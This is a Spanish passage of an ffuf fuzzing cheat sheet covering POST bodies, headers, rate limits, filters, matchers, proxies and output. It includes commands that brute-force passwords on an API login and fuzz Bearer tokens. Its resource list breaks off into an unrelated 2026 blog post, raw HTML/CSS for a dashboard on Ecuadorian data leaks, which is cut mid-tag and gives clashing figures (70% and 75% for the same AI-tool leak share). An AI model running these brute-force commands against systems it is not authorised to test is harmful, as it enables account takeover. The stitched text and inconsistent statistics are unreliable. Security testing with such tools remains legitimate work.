Reemplaza FUZZ con nombres de parámetros en el cuerpo de la solicitud POST para poder identificar cómo el servidor procesa diferentes parámetros.

Valores de Parámetros - POST

Fuzzear valores específicos de parámetros puede ayudar a descubrir vulnerabilidades como inyecciones SQL, XSS, entre otras.

Comando:

ffuf -w /path/to/ids.txt -u https://host.name/index.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded'

Descripción:

Reemplaza FUZZ con diferentes IDs para probar cómo el servidor maneja distintos valores.

Fuzzing de Datos JSON en Solicitudes POST

Permite fuzzear valores dentro de estructuras JSON, ideal para pruebas de APIs que utilizan JSON para la comunicación.

Comando:

ffuf -X POST -H "Content-Type: application/json" -d '{"username": "admin", "password": "FUZZ"}' -w /path/to/wordlist.txt -u http://host.name/api/login

Descripción:

Reemplaza FUZZ con diferentes contraseñas para probar la autenticación de la API.

Encabezados (Headers)

Cambiar User-Agent

Podemos establecer un User-Agent personalizado en las solicitudes, útil para simular diferentes navegadores o dispositivos.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0"

Descripción:

Reemplaza FUZZ y establece un User-Agent específico para cada solicitud.

Establecer el Encabezado Content-Type

Define el tipo de contenido que se está enviando, esencial para solicitudes POST o PUT que envían datos estructurados.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -H "Content-Type: application/json" -X POST

Descripción:

Establece el encabezado Content-Type a application/json para enviar datos en formato JSON.

Establecer el Encabezado Authorization

Incluye un token de autorización en las solicitudes, necesario para acceder a recursos protegidos.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -H "Authorization: Bearer mytoken"

Descripción:

Reemplaza FUZZ y establece el encabezado Authorization con un token Bearer.

Valor de Token Bearer

Fuzzear tokens Bearer para probar la validez y seguridad de los mecanismos de autenticación.

Comando:

ffuf -w /path/to/tokens.txt -H "Authorization: Bearer FUZZ" -u https://host.name/api/resource

Descripción:

Reemplaza FUZZ con diferentes tokens para evaluar la autenticidad y permisos.

Valor de un Encabezado Personalizado

Permite fuzzear valores de encabezados HTTP personalizados, útil para descubrir configuraciones específicas del servidor.

Comando:

ffuf -w /path/to/wordlist.txt -u http://host.name -H "X-Forwarded-For: FUZZ"

Descripción:

Reemplaza FUZZ con diferentes direcciones IP para probar la manipulación de encabezados proxy.

Límites de Tasa (Rate Limits)

Controlar la tasa de solicitudes que enviamos durante el fuzzing, es crucial para evitar ser bloqueado por el servidor objetivo y para manejar eficientemente los recursos.

Limitar la Tasa a 50 Solicitudes por Segundo

Controlar la velocidad de las solicitudes para evitar sobrecargar el servidor o activar mecanismos de bloqueo.

Comando:

ffuf -rate 50 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-rate 50: Limita la tasa de solicitudes a 50 por segundo.

Establecer Número de Hilos

Definir la cantidad de hilos concurrentes para las solicitudes, afectando el rendimiento y la velocidad del fuzzing.

Comando:

ffuf -t 5 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-t 5: Utiliza 5 hilos concurrentes para enviar las solicitudes.

Delays (Retrasos)

Introduce retrasos entre las solicitudes para manejar mejor el flujo de tráfico y reducir la carga en el servidor.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -t 2 -p 1

Descripción:

-t 2: Usa 2 hilos concurrentes.
-p 1: Introduce un retraso de 1 segundo entre las solicitudes.

Filtros (Filters)

Los filtros nos permiten excluir respuestas no deseadas basándose en diferentes criterios, optimizando los resultados del fuzzing.

Filtrar Códigos HTTP 301 y 302

Excluye respuestas que redirigen, enfocándose en respuestas finales.

Comando:

ffuf -fc 301,302 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-fc 301,302: Filtra y excluye respuestas con códigos de estado 301 y 302.

Filtrar por Tamaño de Respuesta

Excluye respuestas que no coinciden con un tamaño específico, lo que nos puede ayudar a identificar contenido único.

Comando:

ffuf -fs 2003 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-fs 2003: Filtra respuestas que tienen exactamente 2003 bytes.

Filtrar por Número de Líneas

Excluye respuestas basadas en el número de líneas, útil para filtrar contenido genérico.

Comando:

ffuf -fl 5 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-fl 5: Filtra respuestas que tienen exactamente 5 líneas.

Filtrar por Conteo de Palabras

Excluye respuestas que no tengan un número específico de palabras, nos ayuda a identificar respuestas únicas o sensibles.

Comando:

ffuf -fw 10 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-fw 10: Filtra respuestas que tienen exactamente 10 palabras.

Calibrar Opciones de Filtrado Automáticamente

Permite a ffuf ajustar automáticamente las opciones de filtrado basándose en las respuestas recibidas, optimizando el proceso de fuzzing.

Comando:

ffuf -ac -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-ac: Habilita la calibración automática de filtros para mejorar la precisión de los resultados.

Matchers

Los matchers son unas reglas o parámetros que definen cómo ffuf interpreta y filtra las respuestas basándose en diferentes criterios.

Coincidir Código de Estado

Filtra resultados que coincidan con un código de estado HTTP específico, facilitando la identificación de respuestas exitosas.

Comando:

ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -mc 200

Descripción:

-mc 200: Muestra solo las respuestas con código de estado 200.

Coincidir Tamaño de Respuesta

Filtra resultados basados en el tamaño exacto de la respuesta, útil para identificar respuestas únicas.

Comando:

ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -ms 1000

Descripción:

-ms 1000: Muestra solo las respuestas que tienen exactamente 1000 bytes.

Coincidencia de un Rango de Tamaños de Respuesta

Filtra respuestas dentro de un rango específico de tamaños, ofreciendo mayor flexibilidad.

Comando:

ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -ms 900-1100

Descripción:

-ms 900-1100: Muestra solo las respuestas que tienen entre 900 y 1100 bytes.

Coincidencia por Conteo de Palabras

Filtra resultados basados en el conteo de palabras en la respuesta, ayudando a identificar contenido relevante.

Comando:

ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -mw 50

Descripción:

-mw 50: Muestra solo las respuestas que tienen exactamente 50 palabras.

Coincidencia por Número de Líneas de Respuesta

Filtra resultados basados en el número de líneas de la respuesta, útil para identificar respuestas únicas o relevantes.

Comando:

ffuf -u https://host.name/FUZZ -w /path/to/wordlist.txt -ml 10

Descripción:

-ml 10: Muestra solo las respuestas que tienen exactamente 10 líneas.

Regex Matching

Permite filtrar respuestas que coincidan con una expresión regular específica, ofreciendonos una forma poderosa para identificar patrones en las respuestas.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -mr "success|welcome"

Descripción:

-mr "success|welcome": Muestra solo las respuestas que contienen las palabras "success" o "welcome".

Opciones de Salida (Output Options)

Guardar y exportar los resultados del fuzzing es esencial para análisis posteriores y documentación.

Guardar Resultados en JSON

Exportar los resultados en formato JSON, facilitando su integración con otras herramientas para su análisis.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -o results.json -of json

Descripción:

-o results.json: Define el archivo de salida.
-of json: Especifica el formato de salida como JSON.

Guardar Resultados en CSV

Exportar los resultados en formato CSV, ideal para análisis en hojas de cálculo o bases de datos.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -o results.csv -of csv

Descripción:

-o results.csv: Define el archivo de salida.
-of csv: Especifica el formato de salida como CSV.

Guardar Salida en Todos los Formatos Soportados

Permite guardar los resultados en todos los formatos disponibles simultáneamente, facilitando múltiples tipos de análisis.0

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -o results -of all

Descripción:

-o results: Define el prefijo del archivo de salida.
-of all: Guarda los resultados en todos los formatos soportados.

Proxy

El uso de proxies es fundamental que nos permite monitorear y manipular el tráfico HTTP durante las pruebas de fuzzing.

Proxy HTTP

Redirige las solicitudes a través de un proxy HTTP, útil para inspeccionar el tráfico con herramientas como Burp Suite, Caido y OWASP ZAP.

Comando:

ffuf -x http://127.0.0.1:8080 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-x http://127.0.0.1:8080: Define la URL del proxy HTTP.

Proxy SOCKS

Utilizar un proxy SOCKS para una mayor flexibilidad y compatibilidad con diferentes tipos de tráfico.

Comando:

ffuf -x socks5://127.0.0.1:1080 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-x socks5://127.0.0.1:1080: Define la URL del proxy SOCKS.

Proxy de Reproducción (Replay Proxy)

Reproducir las solicitudes a través de un proxy, permitiendo la inspección y modificación de las mismas en tiempo real.

Comando:

ffuf -replay-proxy http://127.0.0.1:8080 -w /path/to/wordlist.txt -u https://host.name/FUZZ

Descripción:

-replay-proxy http://127.0.0.1:8080: Define la URL del proxy de reproducción.

Límites de Tiempo (Time Limits)

Controlar el tiempo de ejecución de tus pruebas es esencial para gestionar recursos y evitar bloqueos prolongados.

Establecer un Límite de Tiempo Máximo

Define el tiempo máximo permitido para la ejecución completa del escaneo, evitando que ffuf se ejecute indefinidamente.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -maxtime 60

Descripción:

-maxtime 60: Establece un límite de tiempo de 60 segundos para toda la ejecución.

Límite de Tiempo por Trabajo

Definir un límite de tiempo específico para cada trabajo individual, asegurando que ninguna solicitud individual consuma demasiado tiempo.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -maxtime-job 60

Descripción:

-maxtime-job 60: Establece un límite de tiempo de 60 segundos para cada solicitud individual.

Otras Opciones Útiles

Podemos usar Ffuf en otro tipo de usos que combinan múltiples opciones para maximizar la eficacia de nuestras pruebas de de fuzzing.

Fuzzing con Métodos HTTP Personalizados

Además de los métodos HTTP estándar como GET y POST, ffuf permite utilizar métodos personalizados para interactuar con aplicaciones que dependen de otros métodos HTTP, como PUT, DELETE o PATCH.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/resource/FUZZ -X PUT -d '{"data":"test"}' -H "Content-Type: application/json" -mc 201 -o put_fuzz.json -of json

Descripción:

-X PUT: Establece el método HTTP a PUT.
-d '{"data":"test"}': Define el cuerpo de la solicitud con datos JSON.
-H "Content-Type: application/json": Establece el encabezado Content-Type.
-mc 201: Filtra respuestas con el código de estado 201 (Created).
-o put_fuzz.json -of json: Guarda los resultados en formato JSON.

Uso Práctico

Este comando es útil para probar endpoints que aceptan métodos HTTP menos comunes, como la creación de recursos a través de solicitudes PUT.

Autenticación de Proxy

Al trabajar a través de un proxy que requiere autenticación, es esencial proporcionar las credenciales correctas para que ffuf pueda realizar las solicitudes adecuadamente.

Comando:

ffuf -x http://username:password@127.0.0.1:8080 -w /path/to/wordlist.txt -u https://host.name/FUZZ -o proxy_auth_fuzz.json -of json

Descripción:

-x http://username:password@127.0.0.1:8080: Define el proxy HTTP con credenciales.
-w wordlist.txt -u https://host.name/FUZZ: Configura la wordlist y la URL objetivo.
-o proxy_auth_fuzz.json -of json: Guarda los resultados en formato JSON.

Uso Práctico

Ideal para entornos corporativos donde el tráfico debe pasar a través de proxies autenticados, permitiendo realizar fuzzing sin interrupciones.

Fuzzing Adaptativo con Límites de Tasa Dinámicos

Implementa un fuzzing adaptativo que ajusta dinámicamente los límites de tasa basándose en la respuesta del servidor, evitando sobrecargas y posibles bloqueos.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -rate 100 -rate-step -50 -rate-min 10 -ac -o adaptive_fuzz.json -of json

Descripción:

-rate 100: Comienza con 100 solicitudes por segundo.
-rate-min 10: No reduce la tasa por debajo de 10 solicitudes por segundo.
-ac: Habilita la calibración automática.
-o adaptive_fuzz.json -of json: Guarda los resultados en formato JSON.

Uso Práctico

Ideal para entornos donde la estabilidad del servidor es crítica y deseas minimizar la posibilidad de ser bloqueado mientras realizas pruebas intensivas.

Recursión Condicional Basada en Matchers

Realiza fuzzing recursivo únicamente cuando se cumplen ciertas condiciones definidas por los matchers, optimizando el proceso y enfocándose en áreas relevantes.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -recursion -recursion-depth 2 -mc 200,403 -ms 1500 -o conditional_recursion.json -of json

Descripción:

-recursion -recursion-depth 2: Habilita la recursión hasta dos niveles de profundidad.
-mc 200,403: Solo realiza recursión si la respuesta tiene códigos de estado 200 o 403.
-ms 1500: Filtra respuestas con un tamaño de 1500 bytes.
-o conditional_recursion.json -of json: Guarda los resultados en formato JSON.

Uso Práctico

Permite enfocarse en rutas que devuelven respuestas exitosas o específicas, evitando profundizar en áreas irrelevantes o protegidas, optimizando así el tiempo y recursos.

Combinación de Hilos y Matchers Específicos

Optimizar el rendimiento de ffuf combinando un número específico de hilos con matchers diseñados para filtrar respuestas relevantes, asegurando una ejecución eficiente y focalizada.

Comando:

ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -t 50 -mc 200,302 -mr "Dashboard|Admin" -o optimized_fuzz.json -of json

Descripción:

-t 50: Utiliza 50 hilos concurrentes para maximizar la velocidad.
-mc 200,302: Filtra respuestas con códigos de estado 200 y 302.
-mr "Dashboard|Admin": Filtra respuestas que contienen las palabras "Dashboard" o "Admin".
-o optimized_fuzz.json -of json: Guarda los resultados en formato JSON.

Uso Práctico

Este comando es ideal para entornos donde se necesita una exploración rápida y focalizada, como identificar paneles administrativos o dashboards que responden con códigos de estado específicos.

Tips Adicionales para Maximizar nuestro Uso de ffuf

Personaliza tus Wordlists: Aunque las wordlists predefinidas son útiles, crear wordlists personalizadas basadas en el contexto de la aplicación objetivo puede aumentar significativamente la efectividad del fuzzing.
Combina con Otras Herramientas: Utiliza ffuf en conjunto con herramientas como Burp Suite, Caido OWASP ZAP, o Nmap para obtener una visión más completa de la seguridad de tu aplicación.
Automatiza tus Pruebas: Integra ffuf en tus pipelines de CI/CD para realizar pruebas automáticas durante el desarrollo.
Monitorea el Rendimiento: La herramienta nos permite controlar los parámetros de tasa y hilos según el rendimiento del servidor objetivo y tus recursos locales para optimizar el tiempo de escaneo sin sobrecargar el sistema.
Analiza los Resultados: Utiliza las opciones de salida en formatos como JSON o CSV para analizar los resultados de manera más eficiente y detectar patrones o anomalías rápidamente.

Con estos consejos y la guía completa de comandos, estás listo para llevar tus pruebas de fuzzing al siguiente nivel con ffuf. ¡Feliz fuzzing!

Recursos Adicionales

Para profundizar en el uso de ffuf y explorar otras opciones, te recomiendo consultar los siguientes recursos:

Filtración de Datos en Ecuador a fecha 2026

Omar Salazar — Mon, 06 Apr 2026 00:00:00 GMT

<style> /* ─── RESET & BASE ─── */ .ecuador-dashboard *, .ecuador-dashboard *::before, .ecuador-dashboard *::after { box-sizing: border-box; margin: 0; padding: 0; } .ecuador-dashboard { --red: #C91A1A; --orange: #D45500; --yellow: #9A7E00; --blue: #006BB3; --green: #008A46; --text: #1A1A2E; --bg: #F0F4FA; --card: #FFFFFF; --border: #D8DFF0; --muted: #8A90A8; --sub: #5A607A; font-family: 'Segoe UI', system-ui, sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; padding-bottom: 60px; } .ecuador-dashboard ::-webkit-scrollbar { width: 5px; } .ecuador-dashboard ::-webkit-scrollbar-track { background: var(--border); } .ecuador-dashboard ::-webkit-scrollbar-thumb { background: var(--red); border-radius: 3px; }

/* ─── ANIMATIONS ─── */ @keyframes fadeUp { from { opacity:0; transform:translateY(18px); } to { opacity:1; transform:translateY(0); } } @keyframes pulse { 0%,100%{opacity:1;} 50%{opacity:.35;} }

/* ─── HEADER ─── */ .ecuador-dashboard .header { background: linear-gradient(135deg, #ffffff 0%, #eef2ff 100%); border-bottom: 1px solid var(--border); padding: 28px 36px 0; position: relative; overflow: hidden; } .ecuador-dashboard .header-stripe { position: absolute; top: 0; left: 0; right: 0; height: 3px; background: linear-gradient(90deg, transparent, var(--red), var(--orange), var(--red), transparent); } .ecuador-dashboard .header-top { display: flex; align-items: flex-start; justify-content: space-between; flex-wrap: wrap; gap: 16px; margin-bottom: 22px; } .ecuador-dashboard .header-badge { display: flex; align-items: center; gap: 8px; margin-bottom: 8px; } .ecuador-dashboard .pulse-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--red); animation: pulse 1.5s infinite; } .ecuador-dashboard .badge-label { color: var(--red); font-size: 11px; font-family: 'Courier New', monospace; letter-spacing: 3px; font-weight: 700; } .ecuador-dashboard h1.title { font-size: clamp(20px, 3vw, 32px); font-weight: 900; letter-spacing: -0.5px; line-height: 1.1; color: var(--text); margin: 0; } .ecuador-dashboard .header-sub { color: var(--sub); font-size: 13px; margin-top: 7px; max-width: 520px; } .ecuador-dashboard .kpi-badge { background: rgba(201,26,26,.08); border: 1px solid rgba(201,26,26,.4); border-radius: 10px; padding: 12px 18px; text-align: center; box-shadow: 0 0 18px rgba(201,26,26,.1); } .ecuador-dashboard .kpi-badge .big { color: var(--red); font-size: 34px; font-weight: 900; font-family: 'Courier New', monospace; } .ecuador-dashboard .kpi-badge .lbl { color: var(--text); font-size: 10px; font-weight: 700; } .ecuador-dashboard .kpi-badge .sub { color: var(--muted); font-size: 10px; }

/* ─── TABS ─── */ .ecuador-dashboard .tabs { display: flex; gap: 4px; flex-wrap: wrap; padding-bottom: 0; } .ecuador-dashboard .tab-btn { background: rgba(255,255,255,.6); border: 1px solid var(--border); color: var(--muted); padding: 9px 18px; border-radius: 8px 8px 0 0; cursor: pointer; font-size: 12px; font-weight: 600; font-family: 'Courier New', monospace; transition: all .25s; position: relative; top: 1px; box-shadow: 0 -2px 8px rgba(0,0,0,.04); } .ecuador-dashboard .tab-btn:hover { color: var(--red); border-color: var(--red); background: rgba(255,255,255,.9); transform: translateY(-2px); box-shadow: 0 -4px 12px rgba(201,26,26,.12); } .ecuador-dashboard .tab-btn.active { background: var(--card); border-color: var(--border); border-bottom-color: var(--card); color: var(--red); font-weight: 700; box-shadow: 0 -4px 16px rgba(201,26,26,.15); transform: translateY(-1px); }

/* ─── CONTENT ─── */ .ecuador-dashboard .content { padding: 28px 36px; max-width: 1380px; margin: 0 auto; } .ecuador-dashboard .tab-pane { display: none; animation: fadeUp .45s ease; } .ecuador-dashboard .tab-pane.active { display: block; }

/* ─── STAT CARDS ─── */ .ecuador-dashboard .stat-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(190px, 1fr)); gap: 16px; margin-bottom: 28px; } .ecuador-dashboard .stat-card { background: var(--card); border-radius: 10px; border: 1px solid transparent; border-left-width: 4px; padding: 20px 20px; position: relative; overflow: hidden; box-shadow: 0 2px 12px rgba(0,0,0,.06); animation: fadeUp .55s ease both; } .ecuador-dashboard .stat-card .val { font-size: 30px; font-weight: 900; font-family: 'Courier New', monospace; } .ecuador-dashboard .stat-card .lbl { font-size: 13px; font-weight: 600; margin-top: 5px; color: var(--text); } .ecuador-dashboard .stat-card .hint { font-size: 11px; margin-top: 2px; color: var(--muted); }

/* ─── GRID LAYOUTS ─── */ .ecuador-dashboard .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; } .ecuador-dashboard .grid-4 { display: grid; grid-template-columns: repeat(4,1fr); gap: 14px; } @media(max-width:800px){ .ecuador-dashboard .grid-2 { grid-template-columns:1fr; } .ecuador-dashboard .grid-4 { grid-template-columns: repeat(2,1fr); } .ecuador-dashboard .content { padding: 18px 16px; } .ecuador-dashboard .header { padding: 20px 16px 0; } }

/* ─── CARD ─── */ .ecuador-dashboard .card { background: var(--card); border: 1px solid var(--border); border-radius: 12px; padding: 5px; box-shadow: 0 2px 12px rgba(0,0,0,.06); margin-bottom: 20px; } .ecuador-dashboard .card h3 { font-size: 14px; font-weight: 700; color: var(--text); margin-bottom: 4px; } .ecuador-dashboard .card .card-sub { font-size: 11px; color: var(--muted); font-family: 'Courier New', monospace; margin-bottom: 18px; }

/* ─── ALERT BANNER ─── */ .ecuador-dashboard .alert-banner { border-radius: 12px; padding: 18px 22px; margin-bottom: 22px; font-size: 13px; line-height: 1.7; } .ecuador-dashboard .alert-red { background: rgba(201,26,26,.05); border: 1px solid rgba(201,26,26,.25); } .ecuador-dashboard .alert-orange{ background: rgba(212,85,0,.05); border: 1px solid rgba(212,85,0,.25); }

/* ─── PROGRESS BAR ─── */ .ecuador-dashboard .prog-row { margin-bottom: 15px; } .ecuador-dashboard .prog-header { display:flex; justify-content:space-between; margin-bottom: 5px; } .ecuador-dashboard .prog-header span:first-child { font-size:12px; color: var(--text); } .ecuador-dashboard .prog-header span:last-child { font-size:13px; font-weight:700; font-family:'Courier New',monospace; } .ecuador-dashboard .prog-track { background: var(--border); border-radius: 4px; height: 8px; overflow: hidden; } .ecuador-dashboard .prog-fill { height:100%; border-radius:4px; transition: width 1.2s cubic-bezier(.4,0,.2,1); }

/* ─── RIESGO ROWS ─── */ .ecuador-dashboard .riesgo-row { display:flex; align-items:center; gap:12px; padding: 9px 12px; border-radius: 8px; margin-bottom: 10px; } .ecuador-dashboard .riesgo-tag { font-size:10px; font-weight:700; font-family:'Courier New',monospace; min-width:55px; } .ecuador-dashboard .riesgo-row .lbl { font-size:12px; color:var(--text); } .ecuador-dashboard .riesgo-row .pct { font-size:12px; font-weight:700; margin-left:auto; font-family:'Courier New',monospace; }

/* ─── SANCION ROW ─── */ .ecuador-dashboard .sancion-row { display:flex; justify-content:space-between; align-items:center; padding:10px 14px; border-radius:8px; margin-bottom:8px; } .ecuador-dashboard .sancion-row span:first-child { font-size:12px; color:var(--text); } .ecuador-dashboard .sancion-row span:last-child { font-size:11px; font-weight:700; font-family:'Courier New',monospace; text-align:right; max-width:165px; }

/* ─── HITOS ─── */ .ecuador-dashboard .hito-row { display:flex; gap:16px; padding-bottom:14px; margin-bottom:14px; } .ecuador-dashboard .hito-row:not(:last-child){ border-bottom:1px solid var(--border); } .ecuador-dashboard .hito-yr { font-weight:900; font-size:13px; font-family:'Courier New',monospace; min-width:44px; } .ecuador-dashboard .hito-ev { font-size:12px; color:var(--text); line-height:1.6; }

/* ─── IMPACTO GRID ─── */ .ecuador-dashboard .impacto-cell { text-align:center; } .ecuador-dashboard .impacto-cell .big { font-size:26px; font-weight:900; font-family:'Courier New',monospace; } .ecuador-dashboard .impacto-cell .lbl { font-size:11px; color:var(--muted); margin-top:3px; }

/* ─── RECOMENDACIONES ─── */ .ecuador-dashboard .rec-item { display:flex; gap:10px; margin-bottom:10px; } .ecuador-dashboard .rec-num { color:var(--orange); font-weight:700; font-size:13px; min-width:20px; } .ecuador-dashboard .rec-txt { font-size:12px; color:var(--text); line-height:1.5; }

/* ─── FOOTER ─── */ .ecuador-dashboard .footer { margin-top:30px; padding-top:16px; border-top:1px solid var(--border); display:flex; justify-content:space-between; flex-wrap:wrap; gap:10px; } .ecuador-dashboard .footer p { font-size:11px; color:var(--muted); font-family:'Courier New',monospace; }

/* ─── CHART WRAPPER ─── */ .ecuador-dashboard .chart-wrap { position:relative; width:100%; } </style>

<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script>

<div class="ecuador-dashboard">

<div class="header"> <div class="header-stripe"></div> <div class="header-top"> <div> <div class="header-badge"> <div class="pulse-dot"></div> <span class="badge-label">INVESTIGACIÓN ACTIVA · FEB 2026</span> </div> <h1 class="title">FILTRACIÓN DE DATOS EN ECUADOR — FEB 2026</h1> <p class="header-sub">Informe estadístico · Exposición masiva de datos sensibles mediante herramientas de inteligencia artificial</p> </div> <div class="kpi-badge"> <div class="big">70%</div> <div class="lbl">MAYOR VECTOR DE FUGA</div> <div class="sub">Sector Financiero · IA Tools</div> </div> </div>

<div class="tabs"> <button class="tab-btn active" onclick="switchTabEcuador(0)">Resumen General</button> <button class="tab-btn" onclick="switchTabEcuador(1)">Fuentes de Fuga</button> <button class="tab-btn" onclick="switchTabEcuador(2)">Sector Financiero & IA</button> <button class="tab-btn" onclick="switchTabEcuador(3)">Evolución Temporal</button> <button class="tab-btn" onclick="switchTabEcuador(4)">Incumplimiento Legal</button> </div> </div>

<div class="content">

<div class="tab-pane active" id="tabEcuador0"> <div> <div class="stat-grid"> <div class="stat-card" style="border-color:var(--red);animation-delay:.0s"> <div class="val" style="color:var(--red)" data-target="21000000" data-prefix="" data-suffix="M">0M</div> <div class="lbl">Registros expuestos (2026* est.)</div> <div class="hint">↑ 26% vs 2025</div> </div> <div class="stat-card" style="border-color:var(--orange);animation-delay:.1s"> <div class="val" style="color:var(--orange)" data-target="75" data-prefix="" data-suffix="%">0%</div> <div class="lbl">Fuga vía herramientas de IA</div> <div class="hint">Sector financiero · Vector dominante</div> </div> <div class="stat-card" style="border-color:var(--yellow);animation-delay:.2s"> <div class="val" style="color:var(--yellow)" data-target="117" data-prefix="" data-suffix="">0</div> <div class="lbl">Incidentes documentados</div> <div class="hint">↑ 31% vs 2025</div> </div> <div class="stat-card" style="border-color:var(--blue);animation-delay:.3s"> <div class="val" style="color:var(--blue)" data-target="94" data-prefix="" data-suffix="%">0%</div> <div class="lbl">Incumplimiento LOPDP Art. 38</div> <div class="hint">Transferencia no autorizada</div> </div> <div class="stat-card" style="border-color:var(--green);animation-delay:.4s"> <div class="val" style="color:var(--green)" data-target="17600000" data-prefix="" data-suffix="M+">0M+</div> <div class="lbl">Ciudadanos en riesgo acumulado</div> <div class="hint">Bases de datos comprometidas</div> </div> </div></div> <div> <div class="grid-2"> <div class="card"> <h3>Vectores de Filtración · Distribución %</h3> <p class="card-sub">Investigación 2025 — Fuente: Datos propios</p> <div class="chart-wrap" style="height:260px"> <canvas id="chartEcuadorPie"></canvas> </div> </div> <div class="card"> <h3>Fuga IA vs Métodos Tradicionales por Sector</h3> <p class="card-sub">Porcentaje de incidentes reportados en cada sector</p> <div class="chart-wrap" style="height:260px"> <canvas id="chartEcuadorBarSector"></canvas> </div> </div> </div> </div> </div>  <div class="tab-pane" id="tabEcuador1"> <div class="alert-banner alert-red"> <strong style="color:var(--red)">⚠ HALLAZGO PRINCIPAL:</strong> Nuestra investigación identifica que el <strong style="color:var(--orange)">70%</strong> de las fugas de datos en el sector financiero ecuatoriano proviene del uso no controlado de herramientas de IA (ChatGPT, Copilot, Gemini, etc.), donde empleados suben documentos confidenciales para procesarlos, violando la <strong style="color:var(--blue)">Ley Orgánica de Protección de Datos Personales (LOPDP)</strong>. </div> <div> <div class="grid-2"> <div class="card"> <h3>Ranking de Vectores de Filtración</h3> <p class="card-sub">% sobre total de incidentes registrados</p> <div id="rankingBarsEcuador"></div> </div> <div class="card"> <h3>Herramientas de IA más Usadas con Datos Sensibles</h3> <p class="card-sub">% de entidades que las emplean con información confidencial</p> <div id="herramientasBarsEcuador"></div> </div> </div> </div></div>

<div class="tab-pane" id="tabEcuador2"> <div class="grid-2"> <div class="card"> <h3>Tipos de Documentos Subidos a IA</h3> <p class="card-sub">% de entidades financieras que lo practican</p> <div id="docsBarsEcuador"></div> </div> <div class="card"> <h3>Exposición por Subsector Financiero</h3> <p class="card-sub">Nivel de riesgo por uso de IA con datos sensibles</p> <div class="chart-wrap" style="height:300px"> <canvas id="chartEcuadorRadar"></canvas> </div> </div> </div> <div> <div class="alert-banner alert-orange"> <h3 style="color:var(--orange);font-size:13px;font-family:'Courier New',monospace;margin-bottom:14px"> ⚡ IMPACTO ECONÓMICO ESTIMADO — SECTOR FINANCIERO ECUATORIANO </h3> <div class="grid-4"> <div class="impacto-cell"><div class="big" style="color:var(--red)">$2.4M</div><div class="lbl">Pérdida promedio por incidente</div></div> <div class="impacto-cell"><div class="big" style="color:var(--orange)">340+</div><div class="lbl">Entidades financieras expuestas</div></div> <div class="impacto-cell"><div class="big" style="color:var(--yellow)">4.2M</div><div class="lbl">Clientes con datos en riesgo</div></div> <div class="impacto-cell"><div class="big" style="color:var(--blue)">0%</div><div class="lbl">Con política de uso de IA aprobada</div></div> </div> </div> </div></div>

<div class="tab-pane" id="tabEcuador3"> <div class="card"> <h3>Evolución de Incidentes y Víctimas — Ecuador 2019–2025</h3> <p class="card-sub">* 2026 = proyección estimada con base en tendencia a Feb 2026</p> <div class="chart-wrap" style="height:290px"> <canvas id="chartEcuadorArea"></canvas> </div> </div> <div class="card"> <h3>Hitos Clave de Filtraciones en Ecuador</h3> <p class="card-sub" style="margin-bottom:20px">Eventos documentados de mayor impacto</p> <div id="hitosListEcuador"></div> </div> </div>

<div class="tab-pane" id="tabEcuador4"> <div class="card"> <h3>Cumplimiento LOPDP por Artículo</h3> <p class="card-sub">% entidades financieras en cumplimiento vs incumplimiento</p> <div class="chart-wrap" style="height:270px"> <canvas id="chartEcuadorLegal"></canvas> </div> </div> <div> <div class="grid-2"> <div class="card"> <h3>Sanciones Aplicables — LOPDP</h3> <p class="card-sub" style="margin-bottom:14px">Marco sancionatorio vigente</p> <div> <div class="sancion-row" style="background:rgba(154,126,0,.08);border:1px solid rgba(154,126,0,.2)"> <span>Infracción leve</span> <span style="color:var(--yellow)">0.1% — 0.5% ingresos anuales</span> </div> <div class="sancion-row" style="background:rgba(212,85,0,.08);border:1px solid rgba(212,85,0,.2)"> <span>Infracción grave</span> <span style="color:var(--orange)">0.5% — 1% ingresos anuales</span> </div> <div class="sancion-row" style="background:rgba(201,26,26,.08);border:1px solid rgba(201,26,26,.2)"> <span>Infracción muy grave</span> <span style="color:var(--red)">1% — 2% ingresos anuales</span> </div> <div class="sancion-row" style="background:rgba(201,26,26,.08);border:1px solid rgba(201,26,26,.2)"> <span>Transferencia ilícita a IA</span> <span style="color:var(--red)">Calificada como MUY GRAVE</span> </div> </div> </div> </div> <div> <div class="card" style="border-color:rgba(201,26,26,.2);background:rgba(201,26,26,.03)"> <h3 style="color:var(--red);font-family:'Courier New',monospace;font-size:13px">⚠ RECOMENDACIONES URGENTES</h3> <p class="card-sub" 